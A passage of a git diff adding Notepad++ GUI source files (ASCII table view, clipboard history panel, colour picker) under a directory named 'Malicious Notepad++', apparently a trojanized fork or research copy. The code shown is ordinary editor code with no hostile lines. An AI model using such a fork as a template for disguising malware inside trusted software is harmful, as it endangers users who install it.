TEXT("NULL"); + case 1: + return TEXT("SOH"); + case 2: + return TEXT("STX"); + case 3: + return TEXT("ETX"); + case 4: + return TEXT("EOT"); + case 5: + return TEXT("ENQ"); + case 6: + return TEXT("ACK"); + case 7: + return TEXT("BEL"); + case 8: + return TEXT("BS"); + case 9: + return TEXT("TAB"); + case 10: + return TEXT("LF"); + case 11: + return TEXT("VT"); + case 12: + return TEXT("FF"); + case 13: + return TEXT("CR"); + case 14: + return TEXT("SO"); + case 15: + return TEXT("SI"); + case 16: + return TEXT("DLE"); + case 17: + return TEXT("DC1"); + case 18: + return TEXT("DC2"); + case 19: + return TEXT("DC3"); + case 20: + return TEXT("DC4"); + case 21: + return TEXT("NAK"); + case 22: + return TEXT("SYN"); + case 23: + return TEXT("ETB"); + case 24: + return TEXT("CAN"); + case 25: + return TEXT("EM"); + case 26: + return TEXT("SUB"); + case 27: + return TEXT("ESC"); + case 28: + return TEXT("FS"); + case 29: + return TEXT("GS"); + case 30: + return TEXT("RS"); + case 31: + return TEXT("US"); + case 32: + return TEXT("Space"); + case 127: + return TEXT("DEL"); + default: + { + TCHAR charStr[10]; + char ascii[2]; + ascii[0] = value; + ascii[1] = '\0'; + MultiByteToWideChar(_codepage, 0, ascii, -1, charStr, sizeof(charStr)); + return charStr; + } + + } +} + +void AsciiListView::setValues(int codepage) +{ + _codepage = codepage; + + for (int i = 0 ; i < 256 ; ++i) + { + TCHAR dec[8]; + TCHAR hex[8]; + generic_sprintf(dec, TEXT("%d"), i); + generic_sprintf(hex, TEXT("%02X"), i); + generic_string s = getAscii(static_cast(i)); + + std::vector values2Add; + + values2Add.push_back(dec); + values2Add.push_back(hex); + values2Add.push_back(s); + + addLine(values2Add); + } +} diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.h b/Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.h new file mode 100644 index 0000000..e38f2c1 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.h @@ -0,0 +1,42 @@ +// This file is part of Notepad++ project +// Copyright (C)2016 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "ListView.h" + +class AsciiListView : public ListView +{ +public: + void setValues(int codepage = 0); + void resetValues(int codepage); + + generic_string getAscii(unsigned char value); +private: + int _codepage = -1; +}; + diff --git a/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.cpp b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.cpp new file mode 100644 index 0000000..fa580f7 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.cpp @@ -0,0 +1,294 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "clipboardHistoryPanel.h" +#include "ScintillaEditView.h" +#include "clipboardFormats.h" + + +#define CLIPBOARD_TEXTFORMAT CF_UNICODETEXT +#define MAX_DISPLAY_LENGTH 64 + +ClipboardData ClipboardHistoryPanel::getClipboadData() +{ + ClipboardData clipboardData; + if (!IsClipboardFormatAvailable(CLIPBOARD_TEXTFORMAT)) + return clipboardData; + + if (!OpenClipboard(NULL)) + return clipboardData; + + HGLOBAL hglb = GetClipboardData(CLIPBOARD_TEXTFORMAT); + if (hglb != NULL) + { + char *lpchar = (char *)GlobalLock(hglb); + wchar_t *lpWchar = (wchar_t *)GlobalLock(hglb); + + if (lpchar != NULL) + { + UINT cf_nppTextLen = RegisterClipboardFormat(CF_NPPTEXTLEN); + if (IsClipboardFormatAvailable(cf_nppTextLen)) + { + HGLOBAL hglbLen = GetClipboardData(cf_nppTextLen); + if (hglbLen != NULL) + { + unsigned long *lpLen = (unsigned long *)GlobalLock(hglbLen); + if (lpLen != NULL) + { + for (size_t i = 0 ; i < (*lpLen) ; ++i) + { + clipboardData.push_back(static_cast(lpchar[i])); + } + GlobalUnlock(hglb); + } + } + } + else + { + int nbBytes = (lstrlenW(lpWchar) + 1) * sizeof(wchar_t); + for (int i = 0 ; i < nbBytes ; ++i) + { + clipboardData.push_back(static_cast(lpchar[i])); + } + } + GlobalUnlock(hglb); + } + } + CloseClipboard(); + return clipboardData; +} + +ByteArray::ByteArray(ClipboardData cd) +{ + _length = cd.size(); + if (!_length) + { + _pBytes = NULL; + return; + } + _pBytes = new unsigned char[_length]; + for (size_t i = 0 ; i < _length ; ++i) + { + _pBytes[i] = cd[i]; + } +} + +StringArray::StringArray(ClipboardData cd, size_t maxLen) +{ + if (!cd.size()) + { + _pBytes = NULL; + return; + } + + bool isCompleted = (cd.size() <= maxLen); + _length = isCompleted?cd.size():maxLen; + + + _pBytes = new unsigned char[_length+(isCompleted?0:2)]; + size_t i = 0; + for ( ; i < _length ; ++i) + { + if (!isCompleted && (i == _length-5 || i == _length-3 || i == _length-1)) + _pBytes[i] = 0; + else if (!isCompleted && (i == _length-6 || i == _length-4 || i == _length-2)) + _pBytes[i] = '.'; + else + _pBytes[i] = cd[i]; + } + + if (!isCompleted) + { + _pBytes[i++] = 0; + _pBytes[i] = 0; + } +} + +// Search clipboard data in internal storage +// return -1 if not found, else return the index of internal array +int ClipboardHistoryPanel::getClipboardDataIndex(ClipboardData cbd) +{ + int iFound = -1; + bool found = false; + for (size_t i = 0, len = _clipboardDataVector.size() ; i < len ; ++i) + { + if (cbd.size() == _clipboardDataVector[i].size()) + { + for (size_t j = 0, len2 = cbd.size(); j < len2 ; ++j) + { + if (cbd[j] == _clipboardDataVector[i][j]) + found = true; + else + { + found = false; + break; + } + } + + if (found) + { + iFound = static_cast(i); + break; + } + } + } + return iFound; +} + +void ClipboardHistoryPanel::addToClipboadHistory(ClipboardData cbd) +{ + int i = getClipboardDataIndex(cbd); + if (i == 0) return; + if (i != -1) + { + _clipboardDataVector.erase(_clipboardDataVector.begin() + i); + ::SendDlgItemMessage(_hSelf, IDC_LIST_CLIPBOARD, LB_DELETESTRING, i, 0); + } + _clipboardDataVector.insert(_clipboardDataVector.begin(), cbd); + + StringArray sa(cbd, MAX_DISPLAY_LENGTH); + TCHAR *displayStr = (TCHAR *)sa.getPointer(); + ::SendDlgItemMessage(_hSelf, IDC_LIST_CLIPBOARD, LB_INSERTSTRING, 0, reinterpret_cast(displayStr)); +} + + +void ClipboardHistoryPanel::drawItem(LPDRAWITEMSTRUCT lpDrawItemStruct) +{ + if (lpDrawItemStruct->itemID >= _clipboardDataVector.size()) + return; + + //printStr(TEXT("OK")); + COLORREF fgColor = _lbFgColor == -1?black:_lbFgColor; // fg black by default + COLORREF bgColor = _lbBgColor == -1?white:_lbBgColor; // bg white by default + + StringArray sa(_clipboardDataVector[lpDrawItemStruct->itemID], MAX_DISPLAY_LENGTH); + TCHAR *ptStr = (TCHAR *)sa.getPointer(); + + //printStr(ptStr); + ::SetTextColor(lpDrawItemStruct->hDC, fgColor); + ::SetBkColor(lpDrawItemStruct->hDC, bgColor); + + ::DrawText(lpDrawItemStruct->hDC, ptStr, lstrlen(ptStr), &(lpDrawItemStruct->rcItem), DT_SINGLELINE | DT_VCENTER | DT_LEFT); +} + +INT_PTR CALLBACK ClipboardHistoryPanel::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + _hwndNextCbViewer = ::SetClipboardViewer(_hSelf); + return TRUE; + } + + case WM_CHANGECBCHAIN: + if (_hwndNextCbViewer == reinterpret_cast(wParam)) + _hwndNextCbViewer = reinterpret_cast(lParam); + else if (_hwndNextCbViewer) + ::SendMessage(_hwndNextCbViewer, message, wParam, lParam); + return TRUE; + + case WM_DRAWCLIPBOARD : + { + ClipboardData clipboardData = getClipboadData(); + if (clipboardData.size()) + addToClipboadHistory(clipboardData); + if (_hwndNextCbViewer) + ::SendMessage(_hwndNextCbViewer, message, wParam, lParam); + return TRUE; + } + + case WM_DESTROY: + ::ChangeClipboardChain(_hSelf, _hwndNextCbViewer); + break; + + case WM_COMMAND : + { + switch (LOWORD(wParam)) + { + case IDC_LIST_CLIPBOARD: + { + if (HIWORD(wParam) == LBN_DBLCLK) + { + auto i = ::SendDlgItemMessage(_hSelf, IDC_LIST_CLIPBOARD, LB_GETCURSEL, 0, 0); + if (i != LB_ERR) + { + int codepage = (*_ppEditView)->getCurrentBuffer()->getEncoding(); + if (codepage == -1) + { + auto cp = (*_ppEditView)->execute(SCI_GETCODEPAGE); + codepage = cp == SC_CP_UTF8 ? SC_CP_UTF8 : 0; + } + else + codepage = SC_CP_UTF8; + + ByteArray ba(_clipboardDataVector[i]); + + int nbChar = WideCharToMultiByte(codepage, 0, (wchar_t *)ba.getPointer(), static_cast(ba.getLength()), NULL, 0, NULL, NULL); + + char *c = new char[nbChar+1]; + WideCharToMultiByte(codepage, 0, (wchar_t *)ba.getPointer(), static_cast(ba.getLength()), c, nbChar + 1, NULL, NULL); + + (*_ppEditView)->execute(SCI_REPLACESEL, 0, reinterpret_cast("")); + (*_ppEditView)->execute(SCI_ADDTEXT, strlen(c), reinterpret_cast(c)); + (*_ppEditView)->getFocus(); + delete [] c; + } + } + return TRUE; + } + } + } + break; + + case WM_SIZE: + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + ::MoveWindow(::GetDlgItem(_hSelf, IDC_LIST_CLIPBOARD), 0, 0, width, height, TRUE); + break; + } + + case WM_CTLCOLORLISTBOX: + { + if (_lbBgColor != -1) + return reinterpret_cast(::CreateSolidBrush(_lbBgColor)); + break; + } + + case WM_DRAWITEM: + { + drawItem(reinterpret_cast(lParam)); + break; + } + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); +} + diff --git a/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.h b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.h new file mode 100644 index 0000000..3293908 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.h @@ -0,0 +1,112 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef CLIPBOARDHISTORYPANEL_H +#define CLIPBOARDHISTORYPANEL_H + +//#include +#ifndef DOCKINGDLGINTERFACE_H +#include "DockingDlgInterface.h" +#endif //DOCKINGDLGINTERFACE_H + +#include "clipboardHistoryPanel_rc.h" +#include + +#define CH_PROJECTPANELTITLE TEXT("Clipboard History") + +typedef std::vector ClipboardData; + +class ScintillaEditView; + +class ByteArray { +public: + ByteArray():_pBytes(NULL), _length(0) {}; + explicit ByteArray(ClipboardData cd); + + ~ByteArray() { + if (_pBytes) + delete [] _pBytes; + _pBytes = NULL; + _length = 0; + }; + const unsigned char * getPointer() const {return _pBytes;}; + size_t getLength() const {return _length;}; +protected: + unsigned char *_pBytes; + size_t _length; +}; + +class StringArray : public ByteArray { +public: + StringArray(ClipboardData cd, size_t maxLen); +}; + +class ClipboardHistoryPanel : public DockingDlgInterface { +public: + ClipboardHistoryPanel(): DockingDlgInterface(IDD_CLIPBOARDHISTORY_PANEL), _ppEditView(NULL), _hwndNextCbViewer(NULL), _lbBgColor(-1), _lbFgColor(-1) {}; + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) { + DockingDlgInterface::init(hInst, hPere); + _ppEditView = ppEditView; + }; +/* + virtual void display(bool toShow = true) const { + DockingDlgInterface::display(toShow); + }; +*/ + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + //void switchEncoding(); + ClipboardData getClipboadData(); + void addToClipboadHistory(ClipboardData cbd); + int getClipboardDataIndex(ClipboardData cbd); + + virtual void setBackgroundColor(COLORREF bgColour) { + _lbBgColor = bgColour; + }; + virtual void setForegroundColor(COLORREF fgColour) { + _lbFgColor = fgColour; + }; + + void drawItem(LPDRAWITEMSTRUCT lpDrawItemStruct); + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private: + ScintillaEditView **_ppEditView; + std::vector _clipboardDataVector; + HWND _hwndNextCbViewer; + int _lbBgColor; + int _lbFgColor; + +}; +#endif // CLIPBOARDHISTORYPANEL_H diff --git a/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.rc b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.rc new file mode 100644 index 0000000..5f6bd77 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel.rc @@ -0,0 +1,39 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "clipboardHistoryPanel_rc.h" + +IDD_CLIPBOARDHISTORY_PANEL DIALOGEX 26, 41, 142, 324 +STYLE DS_SETFONT | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Clipboard History" +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN + LISTBOX IDC_LIST_CLIPBOARD,50,44,78,120,LBS_OWNERDRAWFIXED | LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP +END diff --git a/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel_rc.h b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel_rc.h new file mode 100644 index 0000000..94c5546 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ClipboardHistory/clipboardHistoryPanel_rc.h @@ -0,0 +1,36 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef IDD_CLIPBOARDHISTORYPANEL_RC_H +#define IDD_CLIPBOARDHISTORYPANEL_RC_H + +#define IDD_CLIPBOARDHISTORY_PANEL 2800 +#define IDC_LIST_CLIPBOARD (IDD_CLIPBOARDHISTORY_PANEL + 1) + +#endif //IDD_CLIPBOARDHISTORYPANEL_RC_H + diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.cpp b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.cpp new file mode 100644 index 0000000..0e0c43a --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.cpp @@ -0,0 +1,192 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#include +#include +#include "ColourPicker.h" +#include "ColourPopup.h" + + + + +void ColourPicker::init(HINSTANCE hInst, HWND parent) +{ + Window::init(hInst, parent); + + _hSelf = ::CreateWindowEx( + 0, + TEXT("Button"), + TEXT("F"), + WS_CHILD | WS_VISIBLE, + 0, 0, 25, 25, + _hParent, NULL, _hInst, (LPVOID)0); + + if (!_hSelf) + throw std::runtime_error("ColourPicker::init : CreateWindowEx() function return null"); + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _buttonDefaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(staticWinProc))); +} + + +void ColourPicker::destroy() +{ + delete _pColourPopup; + _pColourPopup = NULL; + ::DestroyWindow(_hSelf); +} + + +void ColourPicker::drawBackground(HDC hDC) +{ + RECT rc; + HBRUSH hbrush; + + if (!hDC) + return; + + getClientRect(rc); + hbrush = ::CreateSolidBrush(_currentColour); + HGDIOBJ oldObj = ::SelectObject(hDC, hbrush); + ::Rectangle(hDC, 0, 0, rc.right, rc.bottom); + ::SelectObject(hDC, oldObj); + //FillRect(hDC, &rc, hbrush); + ::DeleteObject(hbrush); +} + + +void ColourPicker::drawForeground(HDC hDC) +{ + RECT rc; + HBRUSH hbrush = NULL; + + if (!hDC || _isEnabled) + return; + + int oldMode = ::SetBkMode(hDC, TRANSPARENT); + getClientRect(rc); + COLORREF strikeOut = RGB(0,0,0); + if ((((_currentColour ) & 0xFF) + + ((_currentColour >> 8) & 0xFF) + + ((_currentColour >> 16) & 0xFF)) < 200) //check if the color is too dark, if so, use white strikeout + strikeOut = RGB(0xFF,0xFF,0xFF); + if (!_isEnabled) + hbrush = ::CreateHatchBrush(HS_FDIAGONAL, strikeOut); + HGDIOBJ oldObj = ::SelectObject(hDC, hbrush); + ::Rectangle(hDC, 0, 0, rc.right, rc.bottom); + ::SelectObject(hDC, oldObj); + //FillRect(hDC, &rc, hbrush); + ::DeleteObject(hbrush); + ::SetBkMode(hDC, oldMode); +} + + +LRESULT ColourPicker::runProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_LBUTTONDBLCLK: + case WM_LBUTTONDOWN: + { + RECT rc; + POINT p; + Window::getClientRect(rc); + ::InflateRect(&rc, -2, -2); + p.x = rc.left; + p.y = rc.top + rc.bottom; + ::ClientToScreen(_hSelf, &p); + + if (!_pColourPopup) + { + _pColourPopup = new ColourPopup(_currentColour); + _pColourPopup->init(_hInst, _hSelf); + _pColourPopup->doDialog(p); + } + else + { + _pColourPopup->setColour(_currentColour); + _pColourPopup->doDialog(p); + _pColourPopup->display(true); + } + return TRUE; + } + + case WM_RBUTTONDOWN: + { + _isEnabled = !_isEnabled; + redraw(); + ::SendMessage(_hParent, WM_COMMAND, MAKELONG(0, CPN_COLOURPICKED), reinterpret_cast(_hSelf)); + break; + } + + case WM_ERASEBKGND: + { + HDC dc = (HDC)wParam; + drawBackground(dc); + return TRUE; + } + + case WM_PAINT: + { + PAINTSTRUCT ps; + HDC dc = ::BeginPaint(_hSelf, &ps); + drawForeground(dc); + ::EndPaint(_hSelf, &ps); + return TRUE; + } + + case WM_PICKUP_COLOR: + { + _currentColour = (COLORREF)wParam; + redraw(); + + _pColourPopup->display(false); + ::SendMessage(_hParent, WM_COMMAND, MAKELONG(0, CPN_COLOURPICKED), reinterpret_cast(_hSelf)); + return TRUE; + } + + case WM_ENABLE: + { + if ((BOOL)wParam == FALSE) + { + _currentColour = ::GetSysColor(COLOR_3DFACE); + redraw(); + } + return TRUE; + } + + case WM_PICKUP_CANCEL: + { + _pColourPopup->display(false); + return TRUE; + } + + default: + return ::CallWindowProc(_buttonDefaultProc, _hSelf, Message, wParam, lParam); + } + + return FALSE; +} diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.h b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.h new file mode 100644 index 0000000..f47e571 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPicker.h @@ -0,0 +1,65 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "Window.h" + +class ColourPopup; + +#define CPN_COLOURPICKED (BN_CLICKED) + +class ColourPicker : public Window +{ +public : + ColourPicker() : Window(), _currentColour(RGB(0xFF, 0x00, 0x00)), _pColourPopup(NULL), _isEnabled(true) {}; + ~ColourPicker(){}; + virtual void init(HINSTANCE hInst, HWND parent); + virtual void destroy(); + void setColour(COLORREF c) { + _currentColour = c; + }; + + COLORREF getColour() const {return _currentColour;}; + bool isEnabled() {return _isEnabled;}; + void setEnabled(bool enabled) {_isEnabled = enabled;}; + +private : + COLORREF _currentColour; + WNDPROC _buttonDefaultProc; + ColourPopup *_pColourPopup; + bool _isEnabled; + + static LRESULT CALLBACK staticWinProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((ColourPicker *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(Message, wParam, lParam)); + }; + LRESULT runProc(UINT Message, WPARAM wParam, LPARAM lParam); + void drawForeground(HDC hDC); + void drawBackground(HDC hDC); +}; + diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.cpp b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.cpp new file mode 100644 index 0000000..7a13c8f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.cpp @@ -0,0 +1,245 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include "ColourPopup.h" + +DWORD colourItems[] = { + RGB( 0, 0, 0), RGB( 64, 0, 0), RGB(128, 0, 0), RGB(128, 64, 64), RGB(255, 0, 0), RGB(255, 128, 128), + RGB(255, 255, 128), RGB(255, 255, 0), RGB(255, 128, 64), RGB(255, 128, 0), RGB(128, 64, 0), RGB(128, 128, 0), + RGB(128, 128, 64), RGB( 0, 64, 0), RGB( 0, 128, 0), RGB( 0, 255, 0), RGB(128, 255, 0), RGB(128, 255, 128), + RGB( 0, 255, 128), RGB( 0, 255, 64), RGB( 0, 128, 128), RGB( 0, 128, 64), RGB( 0, 64, 64), RGB(128, 128, 128), + RGB( 64, 128, 128), RGB( 0, 0, 128), RGB( 0, 0, 255), RGB( 0, 64, 128), RGB( 0, 255, 255), RGB(128, 255, 255), + RGB( 0, 128, 255), RGB( 0, 128, 192), RGB(128, 128, 255), RGB( 0, 0, 160), RGB( 0, 0, 64), RGB(192, 192, 192), + RGB( 64, 0, 64), RGB( 64, 0, 64), RGB(128, 0, 128), RGB(128, 0, 64), RGB(128, 128, 192), RGB(255, 128, 192), + RGB(255, 128, 255), RGB(255, 0, 255), RGB(255, 0, 128), RGB(128, 0, 255), RGB( 64, 0, 128), RGB(255, 255, 255), +}; + +void ColourPopup::create(int dialogID) +{ + _hSelf = ::CreateDialogParam(_hInst, MAKEINTRESOURCE(dialogID), _hParent, dlgProc, reinterpret_cast(this)); + + if (!_hSelf) + { + throw std::runtime_error("ColourPopup::create : CreateDialogParam() function return null"); + } + Window::getClientRect(_rc); + display(); +} + +INT_PTR CALLBACK ColourPopup::dlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_MEASUREITEM: + { + RECT rc; + LPMEASUREITEMSTRUCT lpmis = reinterpret_cast(lParam); + ::GetWindowRect(::GetDlgItem(hwnd, lpmis->CtlID), &rc); + lpmis->itemHeight = (rc.bottom-rc.top)/6; + lpmis->itemWidth = (rc.right-rc.left)/8; + return TRUE; + } + + case WM_INITDIALOG : + { + ColourPopup *pColourPopup = reinterpret_cast(lParam); + pColourPopup->_hSelf = hwnd; + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, static_cast(lParam)); + pColourPopup->run_dlgProc(message, wParam, lParam); + return TRUE; + } + + default : + { + ColourPopup *pColourPopup = reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + if (!pColourPopup) + return FALSE; + return pColourPopup->run_dlgProc(message, wParam, lParam); + } + } +} + +INT_PTR CALLBACK ColourPopup::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + + switch (message) + { + case WM_INITDIALOG: + { + int nColor; + for (nColor = 0 ; nColor < int(sizeof(colourItems)/sizeof(DWORD)) ; ++nColor) + { + ::SendDlgItemMessage(_hSelf, IDC_COLOUR_LIST, LB_ADDSTRING, nColor, reinterpret_cast("")); + ::SendDlgItemMessage(_hSelf, IDC_COLOUR_LIST, LB_SETITEMDATA, nColor, static_cast(colourItems[nColor])); + } + return TRUE; + } + + case WM_CTLCOLORLISTBOX: + return (LRESULT) CreateSolidBrush(GetSysColor(COLOR_3DFACE)); + + case WM_DRAWITEM: + { + HDC hdc; + COLORREF 